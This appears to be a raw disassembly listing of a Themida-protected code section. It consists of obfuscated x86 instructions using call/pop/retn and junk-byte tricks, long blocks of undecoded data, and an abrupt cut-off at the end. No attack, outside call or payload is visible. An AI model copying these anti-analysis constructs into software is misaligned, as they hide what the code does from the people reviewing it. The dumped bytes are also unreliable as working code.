--------------------------------------------------------------------------- dw 0ECB7h db 14h, 1Fh, 1Ah ; --------------------------------------------------------------------------- loc_5B5F03: ; CODE XREF: Themida_:005B5EC2j ; Themida_:005B5EEDj ... mov ecx, 234CF6h lea ecx, [ebp+62ECCA4h] movsx ebx, si mov [ebp+6280715h], ecx jp loc_5B5F30 jmp loc_5B5F30 ; --------------------------------------------------------------------------- dw 412Ah dd 9BE009A5h, 61928106h, 0A5DC9431h ; --------------------------------------------------------------------------- loc_5B5F30: ; CODE XREF: Themida_:005B5F17j ; Themida_:005B5F1Dj mov dword ptr [ebp+62821BDh], 6DB0h push 0 push ebp call sub_5B5F45 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5F45 proc near ; CODE XREF: Themida_:005B5F3Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5B5F45 endp ; --------------------------------------------------------------------------- inc ebx mov ah, 9Ah mov esi, [ebp+62812C5h] mov [ebp+6282951h], edx mov dword ptr [ebp+628113Dh], 0 push 0 push eax call sub_5B5F79 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5F79 proc near ; CODE XREF: Themida_:005B5F71p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5B5F79 endp ; --------------------------------------------------------------------------- jmp short loc_5B5FF6 ; --------------------------------------------------------------------------- db 3Ch ; --------------------------------------------------------------------------- jmp loc_5B5F97 ; --------------------------------------------------------------------------- db 0A0h, 0EBh, 0A1h db 0B1h, 5, 3Bh ; --------------------------------------------------------------------------- loc_5B5F97: ; CODE XREF: Themida_:005B5F8Cj ; Themida_:005B6003j push dword ptr [ebp+6282B59h] push 0 push esi call sub_5B5FA8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5FA8 proc near ; CODE XREF: Themida_:005B5FA0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5B5FA8 endp ; --------------------------------------------------------------------------- dd 0F06D3CBAh, 56D56A54h, 0FDF8B54h, 48Ch, 61606000h, 0D995FF61h dd 0F062814h, 380h, 0FB8B6600h, 23759529h, 6A0628h, 46595FFh dd 0C08B0628h, 46A23CEBh, 4048D281h db 0E2h, 4Bh ; --------------------------------------------------------------------------- loc_5B5FF6: ; CODE XREF: Themida_:005B5F89j sbb [esi+edi*8+6542C434h], eax and ecx, [edx+18BB76DEh] jle short loc_5B5F97 enter 0FFFF83D3h, 7Dh arpl bx, di pushf cmp ebp, [ecx-3F3F2B94h] cld db 65h cmp eax, 995766CCh sbb ah, [edi-2065B7C4h] mov dh, 0B1h or al, 61h sub esp, [ebp-4Eh] push eax inc ebp cld mov eax, 0BE8h add [ebx], al xor [ecx+1Dh], dh xor al, 3Dh ; --------------------------------------------------------------------------- dw 0C9C5h dd 870F6D0Ah, 6, 2AD99D29h, 805B0628h, 0C38146F4h, 59C0h dd 22F58533h, 0F62B0628h, 67DA8166h, 1E34FFCEh, 8B59FA8Bh dd 280631BDh, 0F9E98106h, 231F8BBCh, 28213595h, 0A6F18106h dd 89283422h, 28148985h, 41E98106h, 0B6611C2Ah, 0CE8514Eh dd 22000000h, 2695BD52h, 8A5701E7h, 8B95557Ah, 28290D95h dd 48F5F06h, 78BA6633h, 21958B6Ah, 81062822h, 344D58EEh dd 9BD8B61h, 8106280Fh, 344D54C6h, 0A1CA8161h, 815F79E5h dd 0FFA708FEh, 17850FFFh, 51000000h, 17418D89h, 0E9580628h dd 1Bh, 0BE553DC4h, 15DAB13Ch, 8D01AC4Ch, 6283399h, 0FFFF68E9h dd 34B698FFh, 8D19229Ch, 2ECE568Dh, 0D9D8B06h, 89062813h dd 2807158Dh, 91958B06h, 0C706282Eh, 2821BD85h, 710406h dd 0CD858B00h, 0C7062802h, 28113D85h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E11A6BD9h, 0CE9h, 7821A200h, 0D38CD15Bh, 963DB767h dd 0C9B5FF0Bh, 0E9062826h, 7, 0E9B15D2Dh, 0FFB24763h, 2814D995h dd 71BD8906h, 0E9062821h, 14h, 4D15E54Dh, 0E3CA79E3h, 0BEB6024Ch dd 0F7A041Fh, 0EB6E8D06h, 95FF006Ah, 6280465h, 5BEBC08Bh dd 0D8EECA32h, 0F8319D85h, 0AFEA613Dh, 70A636EBh, 42552965h dd 0D98B9A8Ch, 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 18F5C8F4h dd 0CEB84DA8h, 0E3A54313h, 53162391h, 0CC1CDF00h, 0AA9EAF57h dd 79D9FD7Fh, 0B3F3730h, 8791BF3Fh, 5BCFDF69h, 9540912Eh dd 0D5553A4Bh, 41F1CA37h, 0E9280C22h, 2Bh, 5808F7D9h, 9 dup(0) dd 0E9000000h, 0A3Ah, 2ED05D68h, 75ECE906h, 6168FFFAh dd 0E9062ED1h, 0FFFA75E2h, 2ED31F68h, 75D8E906h, 0D868FFFAh dd 0E9062ED3h, 0FFFA75CEh, 2ED53868h, 75C4E906h, 9C68FFFAh dd 0E9062ED6h, 0FFFA75BAh, 2ED79368h, 75B0E906h, 0C13EFFFAh dd 0D1548B6Fh, 0F270A78Bh, 587BEA2h, 23A2D9BDh, 713CF1D5h dd 5B3F8D0Ch, 785CA024h, 9276C041h, 0AB8FDB5Bh, 0D91465B3h dd 217CF82Ah, 46C8AD4Eh, 0D6E5F6F5h, 0C09E027Ah, 1FB1FD7Dh dd 9715C644h, 0EFDFBD47h, 0C254A020h, 821A68E7h, 20EE2CD8h dd 23AD3775h, 743F0945h, 0F8B8099Bh, 8B7CFE3Eh, 4E232B0h dd 9719AB0Fh, 92F339BCh, 7CFE395Bh, 0EB83D351h, 9E7CE07Dh dd 390669AEh, 633C7CFEh, 0A789E53Bh, 2B06FBCDh, 58C65EACh dd 2A887Ah, 94160000h, 0FE312843h, 0EEC507Ch, 3811DC37h dd 0F1D755A6h, 3DA17CFEh, 0F00960A5h, 5A337CFEh, 6A82DE32h dd 0BEF7FBCEh, 98000000h, 0DC67EF6Fh, 0FEED3E44h, 0FA7AD60Ah dd 9276D096h, 31009822h, 0FDCC64B2h, 0CA99317Dh, 6D1AFE4Ah dd 7AD62AB4h, 0B296E262h, 17AFFB7Bh, 7F11EAB5h, 0FE37AA2Eh dd 664AAE7Ch, 66F8D19Ch, 2BC3078Bh, 0A4F5DFBDh, 7AD49313h dd 8661F357h, 0DE2FB107h, 76859D8Fh, 0C72687EBh, 3376859Dh dd 2A6145CFh, 47B95DABh, 0EA08783Bh, 824BF1Ah, 95120000h dd 0A5285F43h, 0C6447B5Fh, 0D95B9276h, 0F776AD91h, 9D10C5A9h dd 2F1361E0h, 4C3074F8h, 664A9415h, 7F63AF2Fh, 85E83987h dd 0F57CF835h, 0F06F8122h, 2AE0BEA2h, 688E65DEh, 7FC2A086h dd 8ACE52FFh, 0A1F284F2h, 7AD6C14Ah, 0DCC04AAEh, 3811DC11h dd 0F1D755A6h, 35A17CFEh, 2B8CDC5Ah, 7CFEF0C0h, 0AAF07338h dd 0B9FE9620h, 7CFEF0B6h, 18B0FC7Ch, 0E67EC849h, 63E60E67h dd 0FA87AF88h, 7AD2C244h, 86649CB4h, 0CD8E6FCBh, 0BAE4FBh dd 6F850000h, 8F11A3EFh, 0D6E52F3Eh, 347AFD7Ah, 65553397h dd 4B9114EFh, 5DAB2A6Dh, 0E1A780C5h, 0F5757AD6h, 0E8EC5A9h dd 0FDC82AC2h, 0E1A0CB1Ch, 38D87AD6h, 29338E3Bh, 4BD55F69h dd 0DB5C37B9h, 0DD23A691h, 25B246FFh, 62C67CFEh, 10E9B47Eh dd 83772D7Eh, 8DF17AD4h, 53A120FBh, 0BE0F916Fh, 768583AFh dd 468967CBh, 35D579C7h, 10087829h, 720E540h, 910E0000h dd 0A1245B3Fh, 0C240775Bh, 0D5578E72h, 0F372A98Dh, 0A10CC1A5h dd 2B0F5DDCh, 482C70F4h, 62469011h, 7B5FAB2Bh, 89E43583h dd 0F17CF834h, 46C87D1Eh, 0D6E5F6F5h, 0C09E027Ah, 0D04FFE7Dh dd 0DD14F882h, 622D115Dh, 0BA3EF6Fh, 0ABC21395h, 817AD6E5h dd 551AB7FFh, 25038DD1h, 841662E2h, 0F87B2AA9h, 22AC1AB2h dd 733E0844h, 0B1B7089Ah, 0C77CFEFAh, 7CFCCB63h, 41C39E30h dd 15F361F9h, 0D622A2D9h, 69EDC83Eh, 411F8D25h, 0B8D94088h dd 1DCA8FBh, 0B59D87Dh, 0E37B0573h, 9CC49775h, 5EF03CBCh dd 0BB5883A8h, 0C6A45BF6h, 87D3538Ah, 5D46AAEFh, 63BCF7B8h dd 91DD5D3Bh, 0C12C7DFFh, 39F7B85Dh, 1F69EAD5h, 4ECE0541h dd 6A5DF2C6h, 77019715h, 60AA9ADFh, 0A85F0847h, 0CC189880h dd 0E531B1E8h, 76D29D53h, 989B0910h, 6846D014h, 724B1678h dd 835EE0h, 0EC4BF07Eh, 0B9431BD7h, 45AC7721h, 409BC81Ah dd 0C11FD8B6h, 27F19093h, 4A15DFC3h, 4E8EDF71h, 8AEF68B9h dd 27498E26h, 1BE36879h, 6AC61A42h, 0DF6837E7h, 319h, 0E2C3FD80h dd 0F6AC3E17h, 0A1F2A50Eh, 7AD6A94Ah, 0D2844AAEh, 7E684603h dd 0FE561F2Dh, 23B5197Ch, 0E880C448h, 8DF1DD3Eh, 55DFCC29h dd 5D547577h, 44FDF0A0h, 0BD0EA079h, 0FBC998A7h, 63C55DC1h dd 274D8398h, 83FF497Fh, 0DEA4F676h, 66F068B8h, 0F67752D4h dd 0C8A614ACh, 0A2B9800Fh, 0D264C8F1h, 992B77F7h, 47A7C617h dd 6FD3E95Ch, 9E1E5591h, 8F276FF1h, 0D45E1EE5h, 0F9837B17h dd 0D88F6633h, 0C44EB05Ah, 0AEDDF420h, 3A95658Fh, 562h dd 9D81D350h, 0B99DE366h, 0D0B40482h, 0EBCF1799h, 3E735B4h dd 0A3225F4Eh, 0B63A7155h, 0D6578E72h, 0F171A88Ch, 7BC9C1A5h dd 0F836C32Ah, 0C364377Ch, 0A33412C8h, 0F94D89A8h, 0A17A451Bh dd 1AAABE0Fh, 0FED97CFEh, 5D523080h, 10EB61F9h, 4E7C4292h dd 0A8AF7ECFh, 0BE3E815Fh, 62E68F11h, 720A941Eh, 0FF769EEFh dd 78C95B34h, 7AD6FB70h, 9402488h, 0D6A53D89h, 0F3720A56h dd 1696729Ah, 8A0E669h, 0E56FB739h, 6CC8775Bh, 0E1F5A65Fh dd 1F9h, 3811DC82h, 2BAD55A6h, 43A77CF8h, 957D6B1h, 216FEE25h dd 0D5D24489h, 88088307h, 9286983Ch, 17E70253h, 4A9BCh dd 0C81A9700h, 0E42AADE4h, 0FB4BC900h, 165EE017h, 2E7CFB32h dd 6B18954Ah, 83BA9EECh, 0A0D7BBFFh, 0BAF1D51Fh, 120AEE3Ah dd 367873C4h, 0AD807CF8h, 6DEDC80Ch, 3D1B8921h, 31C39C67h dd 0F82B36E0h, 36CE327Ch, 99BE767h, 2A373687h, 0DF437CF8h dd 482676F4h, 60782E0Ch, 2A205C3Dh, 4AFEDE1Ch, 0D2FF2684h dd 0E531B1F4h, 0ADF77853h, 0D9C9A715h, 0A63E8A0Ah, 0C2A6CE27h dd 6312F642h, 0FBC7DE07h, 14C7Ch, 12C81D00h, 88E779F3h dd 599C7A15h, 26F58DD9h, 0BEBF1EA6h, 9569E333h, 9349270Bh dd 0B39CA422h, 0B38967CAh, 2C7D0FE8h, 7CFE878Ch, 0B3F890F4h dd 7CFE81BCh, 2B85AD86h, 0FBCE1FCFh, 4044h, 11DCE500h dd 0D755A638h, 0A17CFEF1h, 52D0AB3Dh, 0EF342402h, 7CFEF0F8h dd 40C1E9C2h, 0F6C4C68Ah, 3E1C19ECh, 0CE3D2783h, 0A89CFBh dd 0A82A0000h, 0FED21457h, 6E00647Ch, 0FED2CE1Dh, 0E8C62A7Ch dd 1012C811h, 0DB27A753h, 0EE0FD543h, 0FB3E1CB1h, 0C8972F7Bh dd 9463FB49h, 6130C814h, 4B195E1h, 7AD6EA23h, 492D79F9h dd 4207B56Bh, 44225A35h, 0ECC59066h, 0C62D095Ah, 0EB4F7CFCh dd 6786D759h, 457CFDC1h, 7BDF7CC2h, 59D8B39Dh, 71F0270Bh dd 0E7A97F23h, 8D8024Fh, 349ADh, 68BA3700h, 84CA4D84h dd 9BEB69A0h, 0B6FE80B7h, 0CE1C9BD2h, 0B7835EAh, 235A3E8Ch dd 40775B9Fh, 5A9175BFh, 0B2AA8EDAh, 30D81364h, 4D207CF8h dd 0A2F06FACh, 0BB0787BEh, 12C80CD7h, 3E2BC88Fh, 4B8E6CFDh dd 18E77FCBh, 9E684C98h, 1768FAD3h, 7CFEB4D9h, 0DE23BB1Fh dd 7CFEB889h, 0F76E96EFh, 70C1532Ch, 7AD6BF70h, 0E535B378h dd 7155DF4Dh, 0A3EF6FA6h, 70BC3C0Bh, 1EF7C28Ch, 0E47D3B8Ch dd 9F037CFEh, 0E4AFC207h, 0BC957CFEh, 82E03C94h, 3D55FBCEh dd 0F6000000h, 0F6F546C8h, 27AD6E5h, 1FEAC09Eh, 0C963B446h dd 0AF7CFEF1h, 7B6EB34Bh, 317CFEF0h, 5DF128B2h, 629EB465h dd 0EF7140D8h, 37900FA7h, 0D6AF8A0Fh, 82F652AEh, 0D56BFBCDh dd 0C000000h, 0BA3EF6Fh, 99FDDF95h, 26CD0C6Fh, 38860548h dd 551D1A0h, 0D21E9E6Dh, 3D8E10EEh, 7AD6412Eh, 4F08E64Ah dd 7AD645D6h, 0A3CA1B9Dh, 0D77AD64Ch, 0AF479112h, 96D9B741h dd 0AFE6CA16h, 0E94BE32Fh, 62B3451Eh, 7CFE625Ah, 0CD6BA1Eh dd 0B0A32C41h, 2608A89Bh, 948AD2D2h, 70FA8421h, 0C29F8DDEh dd 75D97AD4h, 0D98A08E3h, 0EF871155h, 0DEB9A381h, 0B5B8095Fh dd 0C57685C2h, 6A45D761h, 9A08A0E8h, 0CA4980BCh, 0EA5AD87Ch dd 6B3B0877h, 1E510h, 456D300h, 2066E920h, 3787053Ch, 529A1C53h dd 6AB8376Eh, 0A7DCD186h, 0BFF6DA28h, 0DC13F73Bh, 0F62D115Bh dd 4E462A76h, 33BCAF00h, 0E9BC7CF8h, 0F546C848h, 7AD6E5F6h dd 7DC09E02h, 95CCB0FEh, 1AE5C915h, 246AEDC8h dd 0CCA57046h, 8FFE843Ah, 6D17B9EEh, 0D854A58Fh, 0A07CFE0Fh dd 85FA43Ch, 327CFFF6h, 83DF3159h, 0F8FBCD6Ch, 0DBh, 0A3EF6F99h dd 67BD3C0Bh, 62C3098Ch, 7AD6E50Bh, 0E9810B6Fh, 0D6E183A4h dd 0CD19997Ah, 0E632B2E9h, 0AFF77954h, 0B47FE1D1h, 45C749DBh dd 0D6E1F9F4h, 0BF9D017Ah, 0FECFB606h, 7A5EC27Ch, 0F343C19Ch dd 9B743F15h, 5DAB2E09h, 0FED7E10Ch, 2BB5197Ch, 0B912634Dh dd 0C87AD475h, 754B4512h, 7351BCA7h, 6881A7Eh, 84A2B6B5h dd 717CCD76h, 897684A2h, 46248825h, 0B402815Ch, 0CC1A99D0h dd 770B1428h, 6AC59508h, 0EEh, 290D5FDCh, 45296FF2h, 5C40900Eh dd 775BA325h, 8F73C140h, 2FAED3DAh, 42C6FDE1h, 62E31AFEh dd 7DFD3418h, 7554D31h, 0F832B7B6h, 4FF0C37Ch, 226CEDC8h dd 0F03ABB8Ah, 9A60EA58h, 0DD401B8Ch, 347755CAh, 0A58367B5h dd 690147CAh, 5ADA1DFBh, 6F5F2A0Eh, 3C0BA3EFh, 0C28C70BCh dd 3B8C1EF7h, 7CF82B8Fh, 0C6952D91h, 8D68FA46h, 64BE880Ah dd 7A620E2Eh, 0CEA58F0h, 0CD1999D0h, 0F466F035h, 0C69222DEh dd 0BB600310h, 39CBE7DDh, 82D985E8h, 0B391F51Eh, 4E29B8E0h dd 63A684CCh, 7CB397E3h, 86CC4FFCh, 5EF680EEh, 0E2640D8Fh dd 998BA15Eh, 8E1813EEh, 18977204h, 79FCECCAh, 2F3E8F11h dd 4B1E8295h, 0E3609E7h, 0DB29A883h, 90286CF0h, 81014422h dd 98735135h, 0ADF0CE16h, 0D349E12Dh, 922A7AF8h, 3774624h dd 0D2000000h, 0F26FB56Ch, 0B93908A0h, 8506D56Dh, 50D4A33Bh dd 26A5740Ch, 0F27140D8h, 0BB3D0CA4h, 8E0CDB73h, 54D7A63Eh dd 52ED760Eh, 0C281E289h, 4, 4BD55h, 0EA290000h, 2414875Dh dd 6D6C685Ch, 14890000h, 5E186824h, 3C890000h, 31B85024h dd 89062ECFh, 24048BC2h, 4C481h, 0EC830000h, 24248904h dd 4240483h, 4EC815Fh, 89000000h, 478F2414h, 243C8B08h dd 5E08950h, 4, 405h, 24048700h, 24148B5Ch, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA6BBEh, 0A6B82EE2h dd 3062ED8h, 0DE0FFC5h, 2267F71Dh, 20447862h, 8030C07Fh dd 0B573ED19h, 784B760Ch, 0E86F8440h, 0Ah, 0EB2234Dh, 0D632717Fh dd 820F34DAh, 6, 3E1DE981h, 805814ADh, 0C08195CEh, 68C2h dd 3FE18166h, 66F63378h, 0FFF3BCB9h, 0CA8B0634h, 0D7BF0F5Fh dd 126DC781h, 81FC6010h, 2286E6EFh, 0AE979h, 9670000h dd 8DCECA12h, 0AD062F26h, 6F44EF81h, 880F1958h, 11h, 0CE9h dd 0AC7D8200h, 8BA51BB3h, 69A1B392h, 303C89A1h, 850FF860h dd 3, 6144EF80h, 0EE8369B3h, 0FE801h, 74400000h, 0C318E629h dd 0CDFCE8C9h, 7DD83695h, 0D98B66BAh, 4E4E4E59h, 81DEB70Fh dd 0FF97E8FEh, 80850FFFh, 0FFFFFFFh, 8D8DD3B7h, 62EDAA2h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 17C35141h dd 7158D89h, 858B0628h, 6282705h, 21BD85C7h, 64C00628h dd 81660000h, 0C766E2CFh, 28113D85h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B5FF3CC2h, 62801BDh, 921B509h, 95FF0628h, 62814D9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B7C35747h dd 99CB126h, 880F1549h, 4, 3665B866h, 95FF006Ah, 6280465h dd 38EBC08Bh, 97F9609h, 7729371Ah, 0AFD77ED7h, 8C83941Eh dd 3C6822C5h, 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h dd 9B985C03h, 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h dd 0DE8h, 0CECC0500h, 0DF2183Fh, 0F64A5071h, 0DE9531Dh dd 0B5000000h, 0B2EEC460h, 0F404BEBh, 0EB1C8CECh, 10E85Fh dd 7F3F0000h, 0BB1B1978h, 21556E8Fh, 0BA6E5AA9h, 8D894BC8h dd 62802B1h, 0CDC7815Eh, 80000060h, 0C933ACD2h, 6C9B58Bh dd 48B0628h, 0D08B660Fh, 0A964C081h, 958B0B1Ah, 6280755h dd 29CCC081h, 0B70F5244h, 9FC081D7h, 5134E082h, 0B6DA8166h dd 4895E87h, 1E860F0Fh, 0E8000000h, 0Bh, 0DB54BFDCh, 6829AE22h dd 0E8EF108Dh, 7, 0D9A1C3F0h, 5B08F255h, 0B87CBA5Bh, 0E981728Bh dd 0F793491h, 4258D89h, 0C1810628h, 0F79348Dh, 9FF4F981h dd 850FFFFFh, 0FFFFFF8Eh, 19F59D8Bh, 29E90628h, 0C0000000h dd 2B9D76h, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B7419 ; --------------------------------------------------------------------------- push 62EDCDDh jmp loc_551321 ; --------------------------------------------------------------------------- push 62EDD5Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62EDEA4h jmp loc_551321 ; --------------------------------------------------------------------------- db 0E6h dd 9EA21F15h, 5155D2D0h, 2068385h, 0B9BD3A30h, 6E71EEECh dd 604D120h, 0BCB68589h, 6E703B3Fh, 231DEDF1h, 8AF080A6h dd 795D4852h, 0E09E13E6h, 2F01513h, 0E90E10DCh, 0C7976D01h dd 0EC1250CDh, 61B71D1Dh, 137F7393h, 9557EB51h, 0CF35A1C2h dd 755B805Ch, 7C43A6CAh, 0B9A93D57h, 693BC925h, 34664E73h dd 5B436866h, 38DCD0F5h, 83795B58h, 7207843Dh, 44C159FAh dd 32Fh, 0C84E571h, 4AB01C39h, 755B8673h, 0B7C8ADD1h, 0B7FF61E0h dd 6D39C723h, 2C5E466Bh, 71FD635Dh, 985C2B51h, 8C03916Bh dd 0F71C8220h, 2A657B0Fh, 0E6643037h, 2086F213h, 76D664C9h dd 24C4E9ABh, 0D09A6851h, 7BA00600h, 5BC12D93h, 7CEEB8E2h dd 0ACD23E00h, 6165E2DCh, 6299791h, 0D2B78D65h, 35240F7h dd 32030000h, 0EDBBBF3Ch, 0A26E72EFh, 4D1F23A0h, 9D6DA57h dd 0DF8B8E0Bh, 0A62321EEh, 5CD9D3A2h, 0E8B8D58h, 0C3403A0Ah dd 71A70D9Dh, 3795D4Fh, 21F4BB30h, 66C6A38h, 0C43C769Ah dd 901CDAEEh, 2D3D1A31h, 0AB3FA5C6h, 4AB1359Bh, 21E37522h dd 5F2F55B5h, 2EFBD165h, 0D29EC430h, 171B3CD0h, 80E04C4Ah dd 5C0AC21Ah, 20B47679h, 0AAE6357h, 7A4A795Ch, 0D7251280h dd 0D6B1BE7Ch, 2D31Fh, 0BDB38400h, 706E3C40h, 2123EFF3h dd 0D8CEA0A4h, 8C8A575Bh, 6F5E0C0Fh, 2327A4A2h, 0D9DD5A54h dd 8B8F0C0Eh, 1E44C1BBh, 4EF0288Eh, 0B184795Dh, 3A21F43Ch dd 31FBF2C7h, 3BA70D45h, 22B251D5h, 0CBF78375h, 0FBC86101h dd 5FC71242h, 6B1A93DBh, 92F2E005h, 5CEBEC2Ch, 2FFA8879h dd 1D33C72Dh, 795CEBFBh, 48C57EC4h, 0C160A331h, 6F6D3B61h dd 5E30624Ah, 0D0E8D468h, 15000001h, 0F11610E0h, 450FDD03h dd 7D117779h, 60DDD7A7h, 0C789D70h, 5B92BBA6h, 612FBD75h dd 0E4D8FD63h, 795B9230h, 440F358Bh, 0A1351D42h, 0E6BE8A1h dd 0A8C1592Ch, 2Eh, 0A205DC00h, 0B974C131h, 21F4EA25h dd 12389804h, 9CB24644h, 755BBE3Dh, 5C507537h, 795B86B8h dd 8704BD03h, 0C15943F2h, 0C7C4h, 10E0F100h, 2218EA10h dd 75A315FDh, 0FF7F7393h, 83A8A271h, 0AACF359Bh, 62B29F6h dd 63888252h, 68E5DFAFh, 738ECE24h, 0CCF27Fh, 0C4946AFEh dd 68385ECAh, 0CD61496Eh, 0CCE9BCACh, 356DFA60h, 0CD8F755Dh dd 7D9B0161h, 0F7795934h, 98208C6Bh, 0B61CB01Ch, 1FEC1222h dd 0D3A0A421h, 0A27067D5h, 21FCBE79h, 18B6Ah, 756B3C00h dd 2826F4F8h, 0D9DBA7ABh, 9086585Ch, 44420F13h, 2796C4C7h dd 0DBDF5C5Ah, 9195120Ch, 4347C4C6h, 0D6FC7973h, 4D38E046h dd 693C795Dh, 6482A6F4h, 57391E93h, 21877D4Fh, 960B8AF1h dd 47DBB359h, 0CDAA471h, 9B01E90Eh, 504A1A1Eh, 0F1F3BEE4h dd 2F50E4CCh, 0FECBF1h, 245FF3DBh, 38E046A6h, 3C7F7393h dd 4010E67Ah, 74B6C07Ch, 9D85AAA4h, 0C8D76A6Dh, 67CDC796h dd 5E2E5442h, 0EB573F64h, 730E5785h, 8B1FE17Fh, 7FE5E5B5h dd 7F730E59h, 47B319DBh, 3F6F8523h, 599743Dh, 3A21F4E4h dd 8BBA1708h, 84D101C1h, 0A6769C9Fh, 0E20874DAh, 5F31812h dd 7367799Fh, 0D339FB7Fh, 0ABCF2F3Fh, 3501F7D1h, 0D2680333h dd 363C52E6h, 2E755BFCh, 40A0006Ch, 5A9B02DAh, 0E0743679h dd 0C23F3D0Ah, 5A9B5A7Eh, 0D0946479h, 7453409Bh, 67E44A80h dd 73989663h, 91935F85h, 8A24FDh, 0F42B0000h, 38980421h dd 63B15314h, 0EF83AE8Bh, 224169D9h, 5377D775h, 0C9DEF046h dd 3D94B27h, 35795CE6h, 0C183DF73h, 5218E89Ch, 0F0F2BD83h dd 8A8C588Ah, 9A177D65h, 0A7CCC696h, 894E78B3h, 49027A94h dd 7CF9F3C3h, 89AEA878h, 0E80D03D5h, 8752781Ch, 46786085h dd 6C54797Bh, 5F1FD8D8h, 4C716739h, 67653264h, 0F0C65A42h dd 0A5A92620h, 496FDBD5h, 725A7F79h, 0D5E15DEh, 90000000h dd 9E12CA30h, 64264C90h, 3A8795D0h, 0F4190FE0h, 51767040h dd 0ABD0D29Dh, 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh dd 799EA06Ch, 0D4F9F7C5h, 0E18951FFh, 4C181h, 0E9830000h dd 74FF5104h, 8F590424h, 525C2404h, 0C281E289h, 4, 8704EA83h dd 895C2414h, 93682414h, 89000036h, 1B682404h, 89000007h dd 2CBE2434h, 813F543Dh, 256132EEh, 5EF28939h, 24048B54h dd 5704C483h, 7889D789h, 243C8B08h, 0FF04C483h, 83582434h dd 148B04C4h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h dd 0F99F0CE9h, 48F7ADFFh ; --------------------------------------------------------------------------- dec edi loc_5B7419: ; CODE XREF: Themida_:005B6F1Cj mov eax, 62EE054h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 48D5h dd 40D81F4Eh, 13D25F35h, 0D6B90A6Ah, 97537F7Bh, 0FFAD1466h dd 0C6E642F9h, 2F043F62h, 965357B1h, 9CCE46F0h, 97741409h dd 1A0F42D2h, 0D6D0194Eh, 0A20B0BBEh, 344E2520h, 2E4D6C80h dd 8E8E47D8h, 95B60343h, 89122863h, 0AE8176E4h, 0FAE63210h dd 4B602A64h, 96CF1D63h, 8D8D4A9Dh, 62EE23Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 11C35242h, 0E0BC3EC2h dd 4F006314h, 33618D89h, 0BD8B0628h, 6281945h, 7158D89h dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E7BD44C3h, 0C75A563Eh, 2821BD85h, 61E006h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 778E1C41h, 0E4293222h, 0BD0134B5h, 6281F75h dd 113D85C7h, 628h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0A161E2C3h, 0F81D8DCFh dd 0E0815599h, 17059FC0h, 2369BD8Bh, 29600628h, 283401BDh dd 61958906h, 61062802h, 2EC9B5FFh, 800F0628h, 6, 31DD9D8Bh dd 95FF0628h, 62814D9h, 0F3816660h, 0EF81FB18h, 355BAC6Ch dd 0FF006A61h, 28046595h, 0EBC08B06h, 0ACBFA45Fh, 0BFDA2375h dd 68685E42h, 0C368EFC2h, 3602CC19h, 0F7692F6Fh, 0DE6CABE4h dd 0E76A7EA0h, 7D3501D5h, 6DA78135h, 344C1DF9h, 0F0BEC122h dd 3408579Fh, 0E816967Eh, 1EA98DA3h, 6A63366Eh, 0E3BAAB6Ah dd 0F6BECF7Ch, 33D37869h, 137B5622h, 0B69FB7Eh, 9FEF4FB1h dd 46CF145Ch, 0D3F0A2D4h, 0E3268D8Dh, 6A062Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 7D6B0AC3h, 0FBB70F5Bh, 6B19D8Bh, 8D890628h, 6280715h dd 33CDBD01h, 0BF0F0628h, 0BD85C7F7h, 60062821h, 0F00005Fh dd 85C7F3BFh, 628113Dh, 0 ; --------------------------------------------------------------------------- jmp loc_5B7646 ; --------------------------------------------------------------------------- db 6Dh, 6Ch, 18h db 99h, 35h ; --------------------------------------------------------------------------- loc_5B7646: ; CODE XREF: Themida_:005B763Cj push dword ptr [ebp+62826C9h] jmp loc_5B7658 ; --------------------------------------------------------------------------- dec ecx mov [ecx+55C34485h], bl loc_5B7658: ; CODE XREF: Themida_:005B764Cj call dword ptr [ebp+62814D9h] mov [ebp+6282B35h], edx push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_5B76CB ; --------------------------------------------------------------------------- dd 64AD3967h, 571484FFh, 0FD0D3A7h, 6605AAFCh, 1D80F83Eh dd 45E2C20Dh, 0A33CB076h, 4A4B0581h, 8A6E6AFFh, 4787CF3Bh dd 0DA006866h, 2C25843Eh, 3AF23F28h, 0ABD8E416h, 0B3F897D0h dd 73DF7D07h, 1EA544E7h, 0C8310D32h, 0E33F9F08h, 0FA6BF9F3h dd 0C8D35F3Bh, 0CF1CD0EAh ; --------------------------------------------------------------------------- fsubrp st(1), st xchg eax, edi loc_5B76CB: ; CODE XREF: Themida_:005B766Ej call sub_5B76D9 and al, [ecx] inc esp ; --------------------------------------------------------------------------- db 0Fh dd 812F3720h db 19h ; =============== S U B R O U T I N E ======================================= sub_5B76D9 proc near ; CODE XREF: Themida_:loc_5B76CBp pop edi jmp loc_5B76ED ; --------------------------------------------------------------------------- db 1Dh dd 33235CDCh, 